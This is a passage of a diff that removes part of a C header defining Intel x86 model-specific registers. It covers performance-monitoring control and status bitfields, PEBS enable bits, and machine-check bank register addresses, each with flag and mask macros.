uint64_t en1_usr : 1; -#define IA32_FIXED_CTR_CTRL_EN1_USR_BIT 5 -#define IA32_FIXED_CTR_CTRL_EN1_USR_FLAG 0x20 -#define IA32_FIXED_CTR_CTRL_EN1_USR_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN1_USR(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical - * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions - * occurring in the logical processor which programmed the MSR. - * - * @remarks If CPUID.0AH: EAX[7:0] > 2 - */ - uint64_t any_thread1 : 1; -#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_BIT 6 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_FLAG 0x40 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD1_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD1(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] EN1_PMI: Enable PMI when fixed counter 1 overflows. - */ - uint64_t en1_pmi : 1; -#define IA32_FIXED_CTR_CTRL_EN1_PMI_BIT 7 -#define IA32_FIXED_CTR_CTRL_EN1_PMI_FLAG 0x80 -#define IA32_FIXED_CTR_CTRL_EN1_PMI_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN1_PMI(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] EN2_OS: Enable Fixed Counter 2 to count while CPL = 0. - */ - uint64_t en2_os : 1; -#define IA32_FIXED_CTR_CTRL_EN2_OS_BIT 8 -#define IA32_FIXED_CTR_CTRL_EN2_OS_FLAG 0x100 -#define IA32_FIXED_CTR_CTRL_EN2_OS_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN2_OS(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] EN2_Usr: Enable Fixed Counter 2 to count while CPL > 0. - */ - uint64_t en2_usr : 1; -#define IA32_FIXED_CTR_CTRL_EN2_USR_BIT 9 -#define IA32_FIXED_CTR_CTRL_EN2_USR_FLAG 0x200 -#define IA32_FIXED_CTR_CTRL_EN2_USR_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN2_USR(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] AnyThread: When set to 1, it enables counting the associated event conditions occurring across all logical - * processors sharing a processor core. When set to 0, the counter only increments the associated event conditions - * occurring in the logical processor which programmed the MSR. - * - * @remarks If CPUID.0AH: EAX[7:0] > 2 - */ - uint64_t any_thread2 : 1; -#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_BIT 10 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_FLAG 0x400 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD2_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_ANY_THREAD2(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] EN2_PMI: Enable PMI when fixed counter 2 overflows. - */ - uint64_t en2_pmi : 1; -#define IA32_FIXED_CTR_CTRL_EN2_PMI_BIT 11 -#define IA32_FIXED_CTR_CTRL_EN2_PMI_FLAG 0x800 -#define IA32_FIXED_CTR_CTRL_EN2_PMI_MASK 0x01 -#define IA32_FIXED_CTR_CTRL_EN2_PMI(_) (((_) >> 11) & 0x01) - uint64_t reserved1 : 52; - }; - - uint64_t flags; -} ia32_fixed_ctr_ctrl_register; - - -/** - * Global Performance Counter Status. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ -#define IA32_PERF_GLOBAL_STATUS 0x0000038E -typedef union -{ - struct - { - /** - * [Bit 0] Ovf_PMC0: Overflow status of IA32_PMC0. - * - * @remarks If CPUID.0AH: EAX[15:8] > 0 - */ - uint64_t ovf_pmc0 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_BIT 0 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_FLAG 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC0(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Ovf_PMC1: Overflow status of IA32_PMC1. - * - * @remarks If CPUID.0AH: EAX[15:8] > 1 - */ - uint64_t ovf_pmc1 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_BIT 1 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_FLAG 0x02 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC1(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Ovf_PMC2: Overflow status of IA32_PMC2. - * - * @remarks If CPUID.0AH: EAX[15:8] > 2 - */ - uint64_t ovf_pmc2 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_BIT 2 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_FLAG 0x04 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC2(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Ovf_PMC3: Overflow status of IA32_PMC3. - * - * @remarks If CPUID.0AH: EAX[15:8] > 3 - */ - uint64_t ovf_pmc3 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_BIT 3 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_FLAG 0x08 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_PMC3(_) (((_) >> 3) & 0x01) - uint64_t reserved1 : 28; - - /** - * [Bit 32] Ovf_FixedCtr0: Overflow status of IA32_FIXED_CTR0. - * - * @remarks If CPUID.0AH: EAX[7:0] > 1 - */ - uint64_t ovf_fixedctr0 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_BIT 32 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_FLAG 0x100000000 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR0(_) (((_) >> 32) & 0x01) - - /** - * [Bit 33] Ovf_FixedCtr1: Overflow status of IA32_FIXED_CTR1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 1 - */ - uint64_t ovf_fixedctr1 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_BIT 33 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_FLAG 0x200000000 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR1(_) (((_) >> 33) & 0x01) - - /** - * [Bit 34] Ovf_FixedCtr2: Overflow status of IA32_FIXED_CTR2. - * - * @remarks If CPUID.0AH: EAX[7:0] > 1 - */ - uint64_t ovf_fixedctr2 : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_BIT 34 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_FLAG 0x400000000 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_FIXEDCTR2(_) (((_) >> 34) & 0x01) - uint64_t reserved2 : 20; - - /** - * [Bit 55] Trace_ToPA_PMI: A PMI occurred due to a ToPA entry memory buffer that was completely filled. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && IA32_RTIT_CTL.ToPA = 1 - */ - uint64_t trace_topa_pmi : 1; -#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_BIT 55 -#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_FLAG 0x80000000000000 -#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) - uint64_t reserved3 : 2; - - /** - * [Bit 58] LBR_Frz. LBRs are frozen due to: - * * IA32_DEBUGCTL.FREEZE_LBR_ON_PMI=1. - * * The LBR stack overflowed. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t lbr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_BIT 58 -#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_FLAG 0x400000000000000 -#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_LBR_FRZ(_) (((_) >> 58) & 0x01) - - /** - * [Bit 59] CTR_Frz. Performance counters in the core PMU are frozen due to: - * * IA32_DEBUGCTL.FREEZE_PERFMON_ON_PMI=1. - * * One or more core PMU counters overflowed. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t ctr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_BIT 59 -#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_FLAG 0x800000000000000 -#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ(_) (((_) >> 59) & 0x01) - - /** - * [Bit 60] ASCI: Data in the performance counters in the core PMU may include contributions from the direct or indirect - * operation Intel SGX to protect an enclave. - * - * @remarks If CPUID.(EAX=07H, ECX=0):EBX[2] = 1 - */ - uint64_t asci : 1; -#define IA32_PERF_GLOBAL_STATUS_ASCI_BIT 60 -#define IA32_PERF_GLOBAL_STATUS_ASCI_FLAG 0x1000000000000000 -#define IA32_PERF_GLOBAL_STATUS_ASCI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_ASCI(_) (((_) >> 60) & 0x01) - - /** - * [Bit 61] Uncore counter overflow status. - * - * @remarks If CPUID.0AH: EAX[7:0] > 2 - */ - uint64_t ovf_uncore : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_BIT 61 -#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_FLAG 0x2000000000000000 -#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE(_) (((_) >> 61) & 0x01) - - /** - * [Bit 62] OvfBuf: DS SAVE area Buffer overflow status. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ - uint64_t ovf_buf : 1; -#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_BIT 62 -#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_FLAG 0x4000000000000000 -#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_OVF_BUF(_) (((_) >> 62) & 0x01) - - /** - * [Bit 63] CondChgd: Status bits of this register have changed. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ - uint64_t cond_chgd : 1; -#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_BIT 63 -#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_FLAG 0x8000000000000000 -#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_COND_CHGD(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} ia32_perf_global_status_register; - - -/** - * @brief Global Performance Counter Control (R/W) - * - * Global Performance Counter Control. Counter increments while the result of ANDing the respective enable bit in this MSR - * with the corresponding OS or USR bits in the general-purpose or fixed counter control MSR is true. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ -#define IA32_PERF_GLOBAL_CTRL 0x0000038F -typedef struct -{ - /** - * EN_PMC(n). Enable bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - */ - uint32_t en_pmcn; - - /** - * EN_FIXED_CTR(n). Enable bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - * - * @remarks If CPUID.0AH: EDX[4:0] > n - */ - uint32_t en_fixed_ctrn; -} ia32_perf_global_ctrl_register; - - -/** - * Global Performance Counter Overflow Reset Control. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ -#define IA32_PERF_GLOBAL_STATUS_RESET 0x00000390 -typedef union -{ - struct - { - /** - * [Bits 31:0] Set 1 to clear Ovf_PMC(n) bit. Clear bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - */ - uint64_t clear_ovf_pmcn : 32; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_BIT 0 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_FLAG 0xFFFFFFFF -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_MASK 0xFFFFFFFF -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * [Bits 34:32] Set 1 to clear Ovf_FIXED_CTR(n) bit. Clear bitmask. Only the first n-1 bits are valid. Bits 31:n are - * reserved. - * - * @remarks If CPUID.0AH: EDX[4:0] > n - */ - uint64_t clear_ovf_fixed_ctrn : 3; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_BIT 32 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_FLAG 0x700000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_MASK 0x07 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN(_) (((_) >> 32) & 0x07) - uint64_t reserved1 : 20; - - /** - * [Bit 55] Set 1 to clear Trace_ToPA_PMI bit. - * - * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && IA32_RTIT_CTL.ToPA = 1 - */ - uint64_t clear_trace_topa_pmi : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_BIT 55 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_FLAG 0x80000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) - uint64_t reserved2 : 2; - - /** - * [Bit 58] Set 1 to clear LBR_Frz bit. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t clear_lbr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_BIT 58 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_FLAG 0x400000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ(_) (((_) >> 58) & 0x01) - - /** - * [Bit 59] Set 1 to clear CTR_Frz bit. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t clear_ctr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_BIT 59 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_FLAG 0x800000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ(_) (((_) >> 59) & 0x01) - - /** - * [Bit 60] Set 1 to clear ASCI bit. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t clear_asci : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_BIT 60 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_FLAG 0x1000000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI(_) (((_) >> 60) & 0x01) - - /** - * [Bit 61] Set 1 to clear Ovf_Uncore bit. - * - * @remarks 06_2EH - */ - uint64_t clear_ovf_uncore : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_BIT 61 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_FLAG 0x2000000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE(_) (((_) >> 61) & 0x01) - - /** - * [Bit 62] Set 1 to clear OvfBuf bit. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ - uint64_t clear_ovf_buf : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_BIT 62 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_FLAG 0x4000000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF(_) (((_) >> 62) & 0x01) - - /** - * [Bit 63] Set 1 to clear CondChgd bit. - * - * @remarks If CPUID.0AH: EAX[7:0] > 0 - */ - uint64_t clear_cond_chgd : 1; -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_BIT 63 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_FLAG 0x8000000000000000 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} ia32_perf_global_status_reset_register; - - -/** - * Global Performance Counter Overflow Set Control. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ -#define IA32_PERF_GLOBAL_STATUS_SET 0x00000391 -typedef union -{ - struct - { - /** - * [Bits 31:0] Set 1 to cause Ovf_PMC(n) = 1. Set bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - */ - uint64_t ovf_pmcn : 32; -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_BIT 0 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_FLAG 0xFFFFFFFF -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_MASK 0xFFFFFFFF -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * [Bits 34:32] Set 1 to cause Ovf_FIXED_CTR(n) = 1. Set bitmask. Only the first n-1 bits are valid. Bits 31:n are - * reserved. - * - * @remarks If CPUID.0AH: EDX[4:0] > n - */ - uint64_t ovf_fixed_ctrn : 3; -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_BIT 32 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_FLAG 0x700000000 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_MASK 0x07 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN(_) (((_) >> 32) & 0x07) - uint64_t reserved1 : 20; - - /** - * [Bit 55] Set 1 to cause Trace_ToPA_PMI = 1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t trace_topa_pmi : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_BIT 55 -#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_FLAG 0x80000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) - uint64_t reserved2 : 2; - - /** - * [Bit 58] Set 1 to cause LBR_Frz = 1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t lbr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_BIT 58 -#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_FLAG 0x400000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ(_) (((_) >> 58) & 0x01) - - /** - * [Bit 59] Set 1 to cause CTR_Frz = 1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t ctr_frz : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_BIT 59 -#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_FLAG 0x800000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ(_) (((_) >> 59) & 0x01) - - /** - * [Bit 60] Set 1 to cause ASCI = 1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t asci : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_BIT 60 -#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_FLAG 0x1000000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_ASCI(_) (((_) >> 60) & 0x01) - - /** - * [Bit 61] Set 1 to cause Ovf_Uncore = 1. - * - * @remarks 06_2EH - */ - uint64_t ovf_uncore : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_BIT 61 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_FLAG 0x2000000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE(_) (((_) >> 61) & 0x01) - - /** - * [Bit 62] Set 1 to cause OvfBuf = 1. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ - uint64_t ovf_buf : 1; -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_BIT 62 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_FLAG 0x4000000000000000 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_MASK 0x01 -#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF(_) (((_) >> 62) & 0x01) - uint64_t reserved3 : 1; - }; - - uint64_t flags; -} ia32_perf_global_status_set_register; - - -/** - * Indicator that core perfmon interface is in use. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ -#define IA32_PERF_GLOBAL_INUSE 0x00000392 -typedef union -{ - struct - { - /** - * [Bits 31:0] IA32_PERFEVTSEL(n) in use. Status bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - */ - uint64_t ia32_perfevtseln_in_use : 32; -#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_BIT 0 -#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_FLAG 0xFFFFFFFF -#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_MASK 0xFFFFFFFF -#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * [Bits 34:32] IA32_FIXED_CTR(n) in use. Status bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. - */ - uint64_t ia32_fixed_ctrn_in_use : 3; -#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_BIT 32 -#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_FLAG 0x700000000 -#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_MASK 0x07 -#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE(_) (((_) >> 32) & 0x07) - uint64_t reserved1 : 28; - - /** - * [Bit 63] PMI in use. - */ - uint64_t pmi_in_use : 1; -#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_BIT 63 -#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_FLAG 0x8000000000000000 -#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_MASK 0x01 -#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} ia32_perf_global_inuse_register; - - -/** - * PEBS Control. - * - * @remarks If CPUID.0AH: EAX[7:0] > 3 - */ -#define IA32_PEBS_ENABLE 0x000003F1 -typedef union -{ - struct - { - /** - * [Bit 0] Enable PEBS on IA32_PMC0. - * - * @remarks 06_0FH - */ - uint64_t enable_pebs : 1; -#define IA32_PEBS_ENABLE_ENABLE_PEBS_BIT 0 -#define IA32_PEBS_ENABLE_ENABLE_PEBS_FLAG 0x01 -#define IA32_PEBS_ENABLE_ENABLE_PEBS_MASK 0x01 -#define IA32_PEBS_ENABLE_ENABLE_PEBS(_) (((_) >> 0) & 0x01) - - /** - * [Bits 3:1] Reserved or model specific. - */ - uint64_t reservedormodelspecific1 : 3; -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_BIT 1 -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_FLAG 0x0E -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_MASK 0x07 -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1(_) (((_) >> 1) & 0x07) - uint64_t reserved1 : 28; - - /** - * [Bits 35:32] Reserved or model specific. - */ - uint64_t reservedormodelspecific2 : 4; -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_BIT 32 -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_FLAG 0xF00000000 -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_MASK 0x0F -#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2(_) (((_) >> 32) & 0x0F) - uint64_t reserved2 : 28; - }; - - uint64_t flags; -} ia32_pebs_enable_register; - -/** - * @defgroup ia32_mc_ctl \ - * IA32_MC(i)_CTL - * - * IA32_MC(0-28)_CTL. - * - * @remarks If IA32_MCG_CAP.CNT > n - * @{ - */ -#define IA32_MC0_CTL 0x00000400 -#define IA32_MC1_CTL 0x00000404 -#define IA32_MC2_CTL 0x00000408 -#define IA32_MC3_CTL 0x0000040C -#define IA32_MC4_CTL 0x00000410 -#define IA32_MC5_CTL 0x00000414 -#define IA32_MC6_CTL 0x00000418 -#define IA32_MC7_CTL 0x0000041C -#define IA32_MC8_CTL 0x00000420 -#define IA32_MC9_CTL 0x00000424 -#define IA32_MC10_CTL 0x00000428 -#define IA32_MC11_CTL 0x0000042C -#define IA32_MC12_CTL 0x00000430 -#define IA32_MC13_CTL 0x00000434 -#define IA32_MC14_CTL 0x00000438 -#define IA32_MC15_CTL 0x0000043C -#define IA32_MC16_CTL 0x00000440 -#define IA32_MC17_CTL 0x00000444 -#define IA32_MC18_CTL 0x00000448 -#define IA32_MC19_CTL 0x0000044C -#define IA32_MC20_CTL 0x00000450 -#define IA32_MC21_CTL 0x00000454 -#define IA32_MC22_CTL 0x00000458 -#define IA32_MC23_CTL 0x0000045C -#define IA32_MC24_CTL 0x00000460 -#define IA32_MC25_CTL 0x00000464 -#define IA32_MC26_CTL 0x00000468 -#define IA32_MC27_CTL 0x0000046C -#define IA32_MC28_CTL 0x00000470 - /** - * @} - */ - - /** - * @defgroup ia32_mc_status \ - * IA32_MC(i)_STATUS - * - * IA32_MC(0-28)_STATUS. - * - * @remarks If IA32_MCG_CAP.CNT > n - * @{ - */ -#define IA32_MC0_STATUS 0x00000401 -#define IA32_MC1_STATUS 0x00000405 -#define IA32_MC2_STATUS 0x00000409 -#define IA32_MC3_STATUS 0x0000040D -#define IA32_MC4_STATUS 0x00000411 -#define IA32_MC5_STATUS 0x00000415 -#define IA32_MC6_STATUS 0x00000419 -#define IA32_MC7_STATUS 0x0000041D -#define IA32_MC8_STATUS 0x00000421 -#define IA32_MC9_STATUS 0x00000425 -#define IA32_MC10_STATUS 0x00000429 -#define IA32_MC11_STATUS 0x0000042D -#define IA32_MC12_STATUS 0x00000431 -#define IA32_MC13_STATUS 0x00000435 -#define IA32_MC14_STATUS 0x00000439 -#define IA32_MC15_STATUS 0x0000043D -#define IA32_MC16_STATUS 0x00000441 -#define IA32_MC17_STATUS 0x00000445 -#define IA32_MC18_STATUS 0x00000449 -#define IA32_MC19_STATUS 0x0000044D -#define IA32_MC20_STATUS 0x00000451 -#define IA32_MC21_STATUS 0x00000455 -#define IA32_MC22_STATUS 0x00000459 -#define IA32_MC23_STATUS 0x0000045D -#define IA32_MC24_STATUS 0x00000461 -#define IA32_MC25_STATUS 0x00000465 -#define IA32_MC26_STATUS 0x00000469 -#define IA32_MC27_STATUS 0x0000046D -#define IA32_MC28_STATUS 0x00000471 - /** - * @} - */ - - /** - * @defgroup ia32_mc_addr \ - * IA32_MC(i)_ADDR - * - * IA32_MC(0-28)_ADDR. - * - * @remarks If IA32_MCG_CAP.CNT > n - * @{ - */ -#define IA32_MC0_ADDR 0x00000402 -#define IA32_MC1_ADDR 0x00000406 -#define IA32_MC2_ADDR 0x0000040A -#define IA32_MC3_ADDR 0x0000040E -#define IA32_MC4_ADDR 0x00000412 -#define 